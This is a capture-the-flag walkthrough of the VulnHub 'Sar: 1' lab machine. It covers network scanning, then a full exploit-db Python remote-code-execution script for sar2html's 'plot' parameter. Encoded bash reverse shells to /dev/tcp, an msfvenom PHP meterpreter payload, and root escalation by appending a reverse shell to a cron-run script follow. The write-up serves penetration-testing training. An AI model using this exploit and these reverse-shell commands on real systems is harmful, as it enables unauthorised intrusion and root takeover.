SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/

这篇具有很好参考价值的文章主要介绍了SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SAR: 1

About Release

Back to the Top

  • Name: Sar: 1
  • Date release: 15 Feb 2020
  • Author: Love
  • Series: Sar

Download

Back to the Top

Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for “protecting yourself and your network. If you understand the risks, please download!

  • sar.zip (Size: 2.7 GB)
  • Download: https://drive.google.com/open?id=1AFAmM21AwiAEiVFUA0cSr_GeAYaxd3lQ
  • Download (Mirror): https://download.vulnhub.com/sar/sar.zip

Description

Back to the Top

Sar is an OSCP-Like VM with the intent of gaining experience in the world of penetration testing.

File Information

Back to the Top

  • Filename: sar.zip
  • File size: 2.7 GB
  • MD5: B872E6DE73622EA39C762D6C3E298E73
  • SHA1: 6BEE6AB15F9DE0099DB82D815F5D1D2099054B3A

Virtual Machine

Back to the Top

  • Format: Virtual Machine (Virtualbox - OVA)
  • Operating System: Linux

Networking

Back to the Top

  • DHCP service: Enabled
  • IP address: Automatically assign

Screenshots

Back to the Top

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

1.find hosts

┌──(kwkl㉿kwkl)-[~]
└─$ sudo netdiscover -i eth2 

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

                                                                                                                                                                      ┌──(kwkl㉿kwkl)-[~]
└─$ nmap -v -sn 172.16.70.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-08 11:39 HKT
Initiating Ping Scan at 11:39
Scanning 256 hosts [2 ports/host]
Completed Ping Scan at 11:39, 2.40s elapsed (256 total hosts)
Initiating Parallel DNS resolution of 4 hosts. at 11:39
Completed Parallel DNS resolution of 4 hosts. at 11:39, 6.51s elapsed
Nmap scan report for 172.16.70.0 [host down]
Nmap scan report for 172.16.70.1 (172.16.70.1)
Host is up (0.0048s latency).
Nmap scan report for 172.16.70.2 (172.16.70.2)
Host is up (0.0040s latency).
Nmap scan report for 172.16.70.3 [host down]
Nmap scan report for 172.16.70.4 [host down]
Nmap scan report for 172.16.70.5 [host down]
Nmap scan report for 172.16.70.6 [host down]
Nmap scan report for 172.16.70.7 [host down]
Nmap scan report for 172.16.70.8 [host down]
Nmap scan report for 172.16.70.9 [host down]
Nmap scan report for 172.16.70.10 [host down]
Nmap scan report for 172.16.70.11 [host down]
Nmap scan report for 172.16.70.12 [host down]
Nmap scan report for 172.16.70.13 [host down]
Nmap scan report for 172.16.70.14 [host down]
Nmap scan report for 172.16.70.15 [host down]
Nmap scan report for 172.16.70.16 [host down]
Nmap scan report for 172.16.70.17 [host down]
Nmap scan report for 172.16.70.18 [host down]
Nmap scan report for 172.16.70.19 [host down]
Nmap scan report for 172.16.70.20 [host down]
Nmap scan report for 172.16.70.21 [host down]
Nmap scan report for 172.16.70.22 [host down]
Nmap scan report for 172.16.70.23 [host down]
Nmap scan report for 172.16.70.24 [host down]
Nmap scan report for 172.16.70.25 [host down]
Nmap scan report for 172.16.70.26 [host down]
Nmap scan report for 172.16.70.27 [host down]
Nmap scan report for 172.16.70.28 [host down]
Nmap scan report for 172.16.70.29 [host down]
Nmap scan report for 172.16.70.30 [host down]
Nmap scan report for 172.16.70.31 [host down]
Nmap scan report for 172.16.70.32 [host down]
Nmap scan report for 172.16.70.33 [host down]
Nmap scan report for 172.16.70.34 [host down]
Nmap scan report for 172.16.70.35 [host down]
Nmap scan report for 172.16.70.36 [host down]
Nmap scan report for 172.16.70.37 [host down]
Nmap scan report for 172.16.70.38 [host down]
Nmap scan report for 172.16.70.39 [host down]
Nmap scan report for 172.16.70.40 [host down]
Nmap scan report for 172.16.70.41 [host down]
Nmap scan report for 172.16.70.42 [host down]
Nmap scan report for 172.16.70.43 [host down]
Nmap scan report for 172.16.70.44 [host down]
Nmap scan report for 172.16.70.45 [host down]
Nmap scan report for 172.16.70.46 [host down]
Nmap scan report for 172.16.70.47 [host down]
Nmap scan report for 172.16.70.48 [host down]
Nmap scan report for 172.16.70.49 [host down]
Nmap scan report for 172.16.70.50 [host down]
Nmap scan report for 172.16.70.51 [host down]
Nmap scan report for 172.16.70.52 [host down]
Nmap scan report for 172.16.70.53 [host down]
Nmap scan report for 172.16.70.54 [host down]
Nmap scan report for 172.16.70.55 [host down]
Nmap scan report for 172.16.70.56 [host down]
Nmap scan report for 172.16.70.57 [host down]
Nmap scan report for 172.16.70.58 [host down]
Nmap scan report for 172.16.70.59 [host down]
Nmap scan report for 172.16.70.60 [host down]
Nmap scan report for 172.16.70.61 [host down]
Nmap scan report for 172.16.70.62 [host down]
Nmap scan report for 172.16.70.63 [host down]
Nmap scan report for 172.16.70.64 [host down]
Nmap scan report for 172.16.70.65 [host down]
Nmap scan report for 172.16.70.66 [host down]
Nmap scan report for 172.16.70.67 [host down]
Nmap scan report for 172.16.70.68 [host down]
Nmap scan report for 172.16.70.69 [host down]
Nmap scan report for 172.16.70.70 [host down]
Nmap scan report for 172.16.70.71 [host down]
Nmap scan report for 172.16.70.72 [host down]
Nmap scan report for 172.16.70.73 [host down]
Nmap scan report for 172.16.70.74 [host down]
Nmap scan report for 172.16.70.75 [host down]
Nmap scan report for 172.16.70.76 [host down]
Nmap scan report for 172.16.70.77 [host down]
Nmap scan report for 172.16.70.78 [host down]
Nmap scan report for 172.16.70.79 [host down]
Nmap scan report for 172.16.70.80 [host down]
Nmap scan report for 172.16.70.81 [host down]
Nmap scan report for 172.16.70.82 [host down]
Nmap scan report for 172.16.70.83 [host down]
Nmap scan report for 172.16.70.84 [host down]
Nmap scan report for 172.16.70.85 [host down]
Nmap scan report for 172.16.70.86 [host down]
Nmap scan report for 172.16.70.87 [host down]
Nmap scan report for 172.16.70.88 [host down]
Nmap scan report for 172.16.70.89 [host down]
Nmap scan report for 172.16.70.90 [host down]
Nmap scan report for 172.16.70.91 [host down]
Nmap scan report for 172.16.70.92 [host down]
Nmap scan report for 172.16.70.93 [host down]
Nmap scan report for 172.16.70.94 [host down]
Nmap scan report for 172.16.70.95 [host down]
Nmap scan report for 172.16.70.96 [host down]
Nmap scan report for 172.16.70.97 [host down]
Nmap scan report for 172.16.70.98 [host down]
Nmap scan report for 172.16.70.99 [host down]
Nmap scan report for 172.16.70.100 [host down]
Nmap scan report for 172.16.70.101 [host down]
Nmap scan report for 172.16.70.102 [host down]
Nmap scan report for 172.16.70.103 [host down]
Nmap scan report for 172.16.70.104 [host down]
Nmap scan report for 172.16.70.105 [host down]
Nmap scan report for 172.16.70.106 [host down]
Nmap scan report for 172.16.70.107 [host down]
Nmap scan report for 172.16.70.108 [host down]
Nmap scan report for 172.16.70.109 [host down]
Nmap scan report for 172.16.70.110 [host down]
Nmap scan report for 172.16.70.111 [host down]
Nmap scan report for 172.16.70.112 [host down]
Nmap scan report for 172.16.70.113 [host down]
Nmap scan report for 172.16.70.114 [host down]
Nmap scan report for 172.16.70.115 [host down]
Nmap scan report for 172.16.70.116 [host down]
Nmap scan report for 172.16.70.117 [host down]
Nmap scan report for 172.16.70.118 [host down]
Nmap scan report for 172.16.70.119 [host down]
Nmap scan report for 172.16.70.120 [host down]
Nmap scan report for 172.16.70.121 [host down]
Nmap scan report for 172.16.70.122 [host down]
Nmap scan report for 172.16.70.123 [host down]
Nmap scan report for 172.16.70.124 [host down]
Nmap scan report for 172.16.70.125 [host down]
Nmap scan report for 172.16.70.126 [host down]
Nmap scan report for 172.16.70.127 [host down]
Nmap scan report for 172.16.70.128 [host down]
Nmap scan report for 172.16.70.129 [host down]
Nmap scan report for 172.16.70.130 [host down]
Nmap scan report for 172.16.70.131 [host down]
Nmap scan report for 172.16.70.132 (172.16.70.132)
Host is up (0.00027s latency).
Nmap scan report for 172.16.70.133 [host down]
Nmap scan report for 172.16.70.134 [host down]
Nmap scan report for 172.16.70.135 [host down]
Nmap scan report for 172.16.70.136 [host down]
Nmap scan report for 172.16.70.137 [host down]
Nmap scan report for 172.16.70.138 [host down]
Nmap scan report for 172.16.70.139 [host down]
Nmap scan report for 172.16.70.140 [host down]
Nmap scan report for 172.16.70.141 [host down]
Nmap scan report for 172.16.70.142 [host down]
Nmap scan report for 172.16.70.143 [host down]
Nmap scan report for 172.16.70.144 [host down]
Nmap scan report for 172.16.70.145 [host down]
Nmap scan report for 172.16.70.146 [host down]
Nmap scan report for 172.16.70.147 (172.16.70.147)
Host is up (0.0012s latency).
Nmap scan report for 172.16.70.148 [host down]
Nmap scan report for 172.16.70.149 [host down]
Nmap scan report for 172.16.70.150 [host down]
Nmap scan report for 172.16.70.151 [host down]
Nmap scan report for 172.16.70.152 [host down]
Nmap scan report for 172.16.70.153 [host down]
Nmap scan report for 172.16.70.154 [host down]
Nmap scan report for 172.16.70.155 [host down]
Nmap scan report for 172.16.70.156 [host down]
Nmap scan report for 172.16.70.157 [host down]
Nmap scan report for 172.16.70.158 [host down]
Nmap scan report for 172.16.70.159 [host down]
Nmap scan report for 172.16.70.160 [host down]
Nmap scan report for 172.16.70.161 [host down]
Nmap scan report for 172.16.70.162 [host down]
Nmap scan report for 172.16.70.163 [host down]
Nmap scan report for 172.16.70.164 [host down]
Nmap scan report for 172.16.70.165 [host down]
Nmap scan report for 172.16.70.166 [host down]
Nmap scan report for 172.16.70.167 [host down]
Nmap scan report for 172.16.70.168 [host down]
Nmap scan report for 172.16.70.169 [host down]
Nmap scan report for 172.16.70.170 [host down]
Nmap scan report for 172.16.70.171 [host down]
Nmap scan report for 172.16.70.172 [host down]
Nmap scan report for 172.16.70.173 [host down]
Nmap scan report for 172.16.70.174 [host down]
Nmap scan report for 172.16.70.175 [host down]
Nmap scan report for 172.16.70.176 [host down]
Nmap scan report for 172.16.70.177 [host down]
Nmap scan report for 172.16.70.178 [host down]
Nmap scan report for 172.16.70.179 [host down]
Nmap scan report for 172.16.70.180 [host down]
Nmap scan report for 172.16.70.181 [host down]
Nmap scan report for 172.16.70.182 [host down]
Nmap scan report for 172.16.70.183 [host down]
Nmap scan report for 172.16.70.184 [host down]
Nmap scan report for 172.16.70.185 [host down]
Nmap scan report for 172.16.70.186 [host down]
Nmap scan report for 172.16.70.187 [host down]
Nmap scan report for 172.16.70.188 [host down]
Nmap scan report for 172.16.70.189 [host down]
Nmap scan report for 172.16.70.190 [host down]
Nmap scan report for 172.16.70.191 [host down]
Nmap scan report for 172.16.70.192 [host down]
Nmap scan report for 172.16.70.193 [host down]
Nmap scan report for 172.16.70.194 [host down]
Nmap scan report for 172.16.70.195 [host down]
Nmap scan report for 172.16.70.196 [host down]
Nmap scan report for 172.16.70.197 [host down]
Nmap scan report for 172.16.70.198 [host down]
Nmap scan report for 172.16.70.199 [host down]
Nmap scan report for 172.16.70.200 [host down]
Nmap scan report for 172.16.70.201 [host down]
Nmap scan report for 172.16.70.202 [host down]
Nmap scan report for 172.16.70.203 [host down]
Nmap scan report for 172.16.70.204 [host down]
Nmap scan report for 172.16.70.205 [host down]
Nmap scan report for 172.16.70.206 [host down]
Nmap scan report for 172.16.70.207 [host down]
Nmap scan report for 172.16.70.208 [host down]
Nmap scan report for 172.16.70.209 [host down]
Nmap scan report for 172.16.70.210 [host down]
Nmap scan report for 172.16.70.211 [host down]
Nmap scan report for 172.16.70.212 [host down]
Nmap scan report for 172.16.70.213 [host down]
Nmap scan report for 172.16.70.214 [host down]
Nmap scan report for 172.16.70.215 [host down]
Nmap scan report for 172.16.70.216 [host down]
Nmap scan report for 172.16.70.217 [host down]
Nmap scan report for 172.16.70.218 [host down]
Nmap scan report for 172.16.70.219 [host down]
Nmap scan report for 172.16.70.220 [host down]
Nmap scan report for 172.16.70.221 [host down]
Nmap scan report for 172.16.70.222 [host down]
Nmap scan report for 172.16.70.223 [host down]
Nmap scan report for 172.16.70.224 [host down]
Nmap scan report for 172.16.70.225 [host down]
Nmap scan report for 172.16.70.226 [host down]
Nmap scan report for 172.16.70.227 [host down]
Nmap scan report for 172.16.70.228 [host down]
Nmap scan report for 172.16.70.229 [host down]
Nmap scan report for 172.16.70.230 [host down]
Nmap scan report for 172.16.70.231 [host down]
Nmap scan report for 172.16.70.232 [host down]
Nmap scan report for 172.16.70.233 [host down]
Nmap scan report for 172.16.70.234 [host down]
Nmap scan report for 172.16.70.235 [host down]
Nmap scan report for 172.16.70.236 [host down]
Nmap scan report for 172.16.70.237 [host down]
Nmap scan report for 172.16.70.238 [host down]
Nmap scan report for 172.16.70.239 [host down]
Nmap scan report for 172.16.70.240 [host down]
Nmap scan report for 172.16.70.241 [host down]
Nmap scan report for 172.16.70.242 [host down]
Nmap scan report for 172.16.70.243 [host down]
Nmap scan report for 172.16.70.244 [host down]
Nmap scan report for 172.16.70.245 [host down]
Nmap scan report for 172.16.70.246 [host down]
Nmap scan report for 172.16.70.247 [host down]
Nmap scan report for 172.16.70.248 [host down]
Nmap scan report for 172.16.70.249 [host down]
Nmap scan report for 172.16.70.250 [host down]
Nmap scan report for 172.16.70.251 [host down]
Nmap scan report for 172.16.70.252 [host down]
Nmap scan report for 172.16.70.253 [host down]
Nmap scan report for 172.16.70.254 [host down]
Nmap scan report for 172.16.70.255 [host down]
Nmap done: 256 IP addresses (4 hosts up) scanned in 8.92 seconds
                                                                   

2.find some info

┌──(kwkl㉿kwkl)-[~]
└─$ nmap -Pn -T4 -p- -A 172.16.70.147
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-08 14:41 HKT
Nmap scan report for 172.16.70.147 (172.16.70.147)
Host is up (0.00073s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.20 seconds

┌──(kwkl㉿kwkl)-[~]
└─$ dirb  http://172.16.70.147                                                                                                                                             255 ⨯

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Jul  8 12:41:03 2023
URL_BASE: http://172.16.70.147/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.70.147/ ----
+ http://172.16.70.147/index.html (CODE:200|SIZE:10918)                                                                                                                         
+ http://172.16.70.147/phpinfo.php (CODE:200|SIZE:95497)                                                                                                                        
+ http://172.16.70.147/robots.txt (CODE:200|SIZE:9)                                                                                                                             
+ http://172.16.70.147/server-status (CODE:403|SIZE:278)                                                                                                                        
                                                                                                                                                                                
-----------------
END_TIME: Sat Jul  8 12:41:07 2023
DOWNLOADED: 4612 - FOUND: 4
                             

some documents can be accessed!

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

http://172.16.70.147/

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

http://172.16.70.147/robots.txt

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

http://172.16.70.147/phpinfo.php

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

http://172.16.70.147/sar2HTML/index.php

useful info -》 sar2HTML

3.find exp

https://www.exploit-db.com

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

two infos is useful

1.

# Exploit Title: sar2html 3.2.1 - 'plot' Remote Code Execution
# Date: 27-12-2020
# Exploit Author: Musyoka Ian
# Vendor Homepage:https://github.com/cemtan/sar2html 
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Ubuntu 18.04.1

#!/usr/bin/env python3

import requests
import re
from cmd import Cmd

url = input("Enter The url => ")

class Terminal(Cmd):
    prompt = "Command => "
    def default(self, args):
        exploiter(args)

def exploiter(cmd):
    global url
    sess = requests.session()
    output = sess.get(f"{url}/index.php?plot=;{cmd}")
    try:
        out = re.findall("<option value=(.*?)>", output.text)
    except:
        print ("Error!!")
    for ouut in out:
        if "There is no defined host..." not in ouut:
            if "null selected" not in ouut:
                if "selected" not in ouut:
                    print (ouut)
    print ()

if __name__ == ("__main__"):
    terminal = Terminal()
    terminal.cmdloop()

2.

# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html 
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7

In web application you will see index.php?plot url extension.

http://<ipaddr>/index.php?plot=;<command-here> will execute 
the command you entered. After command injection press "select # host" then your command's 
output will appear bottom side of the scroll screen.
            

SAR: 1 4 https://www.vulnhub.com/entry/sar-1%2C425/,服务器,网络,linux,安全,ctf,python

it can be useful!

let’s use it!

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvnp 4444                                                                                                                                                            1 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444


┌──(kwkl㉿kwkl)-[~]
└─$ echo "bash -i &>/dev/tcp/172.16.70.132/4444 <&1" | base64

YmFzaCAtaSAmPi9kZXYvdGNwLzE3Mi4xNi43MC4xMzIvNDQ0NCA8JjEK


3.constructe the url!

http://172.16.70.147/sar2HTML/index.php?plot=;echo%20YmFzaCAtaSAmPi9kZXYvdGNwLzE3Mi4xNi43MC4xMzIvNDQ0NCA8JjEK%20|%20base64%20-d%20|%20bash

echo YmFzaCAtaSAmPi9kZXYvdGNwLzE3Mi4xNi43MC4xMzIvNDQ0NCA8JjEK | base64 -d | bash

it is

http://172.16.70.147/sar2HTML/index.php?plot=;echo YmFzaCAtaSAmPi9kZXYvdGNwLzE3Mi4xNi43MC4xMzIvNDQ0NCA8JjEK | base64 -d | bash

Success!

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvnp 4444                                                                                                                                                            1 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.16.70.147.
Ncat: Connection from 172.16.70.147:33224.
bash: cannot set terminal process group (811): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sar:/var/www/html/sar2HTML$ ls


then

www-data@sar:/var/www/html$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh
www-data@sar:/var/www/html$ cat .finally.sh
cat .finally.sh
cat: .finally.sh: No such file or directory
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh

./write.sh
www-data@sar:/var/www/html$ cat ./writes.sh
cat ./writes.sh
cat: ./writes.sh: No such file or directory
www-data@sar:/var/www/html$ cat write.sh
cat write.sh
#!/bin/sh

touch /tmp/gateway
bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/7777 <&1'
bash -c 'exec bash -i &>/dev/tcp/172.16.70.132/7777 <&1'
www-data@sar:/var/www/html$             

waite 5 minutes!

┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ nc -lvvp 7777                                                                                                                                                            1 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
id
id
id
Ncat: Connection from 172.16.70.147.
Ncat: Connection from 172.16.70.147:36386.
bash: cannot set terminal process group (1600): Inappropriate ioctl for device
bash: no job control in this shell
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# ls
ls
finally.sh
index.html
linpeas.sh
phpinfo.php
robots.txt
sar2HTML
write.sh
root@sar:/var/www/html# cd /root 
cd /root
root@sar:~# ls
ls
root.txt
snap
root@sar:~# cat root.txt
cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
root@sar:~# 

root@sar:~# 

root@sar:~# passwd love 123456
passwd love 123456
Usage: passwd [options] [LOGIN]

Options:
  -a, --all                     report password status on all accounts
  -d, --delete                  delete the password for the named account
  -e, --expire                  force expire the password for the named account
  -h, --help                    display this help message and exit
  -k, --keep-tokens             change password only if expired
  -i, --inactive INACTIVE       set password inactive after expiration
                                to INACTIVE
  -l, --lock                    lock the password of the named account
  -n, --mindays MIN_DAYS        set minimum number of days before password
                                change to MIN_DAYS
  -q, --quiet                   quiet mode
  -r, --repository REPOSITORY   change password in REPOSITORY repository
  -R, --root CHROOT_DIR         directory to chroot into
  -S, --status                  report password status on the named account
  -u, --unlock                  unlock the password of the named account
  -w, --warndays WARN_DAYS      set expiration warning days to WARN_DAYS
  -x, --maxdays MAX_DAYS        set maximum number of days before password
                                change to MAX_DAYS

root@sar:~# passwd love
passwd love
Enter new UNIX password: 123456
Retype new UNIX password: 123456
passwd: password updated successfully
root@sar:~# 

root@sar:~# 

root@sar:~# passwd root

OR we can use python scripts~

1.                                                                                                                                                                        
┌──(kwkl㉿kwkl)-[~/HODL/vulnhub]
└─$ cat sar.py 
# Exploit Title: sar2html 3.2.1 - 'plot' Remote Code Execution
# Date: 27-12-2020
# Exploit Author: Musyoka Ian
# Vendor Homepage:https://github.com/cemtan/sar2html 
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Ubuntu 18.04.1

#!/usr/bin/env python3

import requests
import re
from cmd import Cmd

url = input("Enter The url => ")

class Terminal(Cmd):
    prompt = "Command => "
    def default(self, args):
        exploiter(args)

def exploiter(cmd):
    global url
    sess = requests.session()
    output = sess.get(f"{url}/index.php?plot=;{cmd}")
    try:
        out = re.findall("<option value=(.*?)>", output.text)
    except:
        print ("Error!!")
    for ouut in out:
        if "There is no defined host..." not in ouut:
            if "null selected" not in ouut:
                if "selected" not in ouut:
                    print (ouut)
    print ()

if __name__ == ("__main__"):
    terminal = Terminal()
    terminal.cmdloop()
    
2.
┌──(kwkl㉿kwkl)-[~/HODL/vulnhub]
└─$ python3 sar.py                                                               
Enter The url => http://172.16.70.147/sar2HTML                    
Command => ls
LICENSE
index.php
linpeas.sh
sar2html
sarDATA
sarFILE

3.
┌──(kwkl㉿kwkl)-[~/HODL/vulnhub]
└─$ msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.70.132 LPORT=4444 -o shell2.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1114 bytes
Saved as: shell2.php
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/HODL/vulnhub]
└─$ ls
keyring  sar.py  sar.sh  shell2.php
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/HODL/vulnhub]
└─$ ls                         
keyring  sar.py  sar.sh  shell2.php
                                                                                                                                                                                 
┌──(kwkl㉿kwkl)-[~/HODL/vulnhub]
└─$ python3 -m http.server 5555                                                         
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...
172.16.70.147 - - [08/Jul/2023 22:59:52] "GET /shell2.php HTTP/1.1" 200 -
172.16.70.147 - - [08/Jul/2023 23:04:15] "GET /shell2.php HTTP/1.1" 200 -
172.16.70.147 - - [08/Jul/2023 23:04:33] "GET /shell2.php HTTP/1.1" 200 -

4.
msf6 payload(php/meterpreter/reverse_tcp) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.70.132    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


   View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.70.132:4444 

 
5.
   
 Command => wget http://172.16.70.132:5555/shell2.php ../shell2.php

Command => ls ../
finally.sh
index.html
linpeas.sh
phpinfo.php
robots.txt
sar2HTML
write.sh

Command => wget http://172.16.70.132:5555/shell2.php -O ../shell2.php

Command => ls ../
finally.sh
index.html
linpeas.sh
phpinfo.php
robots.txt
sar2HTML
shell2.php
write.sh

Command => chmod +x ../shell2.php

Command => 

6. browser the url
http://172.16.70.147/shell2.php
  
  7.
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.70.132:4444 
[*] Sending stage (39927 bytes) to 172.16.70.147
[*] Meterpreter session 8 opened (172.16.70.132:4444 -> 172.16.70.147:45154) at 2023-07-08 23:06:25 +0800

meterpreter > shell
Process 1601 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh
cat /var/www/html/finally.sh
#!/bin/sh

./write.sh

8.
┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 7777      
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777

9.
echo "bash -c 'exec bash -i &>/dev/tcp/172.16.70.132/7777 <&1'" >> write.sh
cat write.sh
#!/bin/sh

touch /tmp/gateway
bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/7777 <&1'
bash -c 'exec bash -i &>/dev/tcp/172.16.70.132/7777 <&1'
bash -c 'exec bash -i &>/dev/tcp/172.16.70.132/7777 <&1'


10.
Ncat: Connection from 172.16.70.147.
Ncat: Connection from 172.16.70.147:42102.
bash: cannot set terminal process group (1667): Inappropriate ioctl for device
bash: no job control in this shell
root@sar:/var/www/html# 

root@sar:/var/www/html# 

root@sar:/var/www/html# 

root@sar:/var/www/html# cat /root/root.xt
cat /root/root.xt
cat: /root/root.xt: No such file or directory
root@sar:/var/www/html# cat /root/root.txt
cat /root/root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
root@sar:/var/www/html# 

or

Command => pwd
/var/www/html/sar2HTML

Command => echo "bash -c 'exec bash -i &>/dev/tcp/172.16.70.132/7777 <&1'" >> ../write.sh

Command => cat ../write.sh
#!/bin/sh
touch /tmp/gateway
bash -c 'exec bash -i &
bash -c 'exec bash -i &
bash -c 'exec bash -i &

Command => cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh

Command => 
┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvvp 7777                                                                                                                                                          130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777

id
id
id
id
id
id
Ncat: Connection from 172.16.70.147.
Ncat: Connection from 172.16.70.147:42118.
bash: cannot set terminal process group (1835): Inappropriate ioctl for device
bash: no job control in this shell
root@sar:/var/www/html# 
root@sar:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@sar:/var/www/html# id
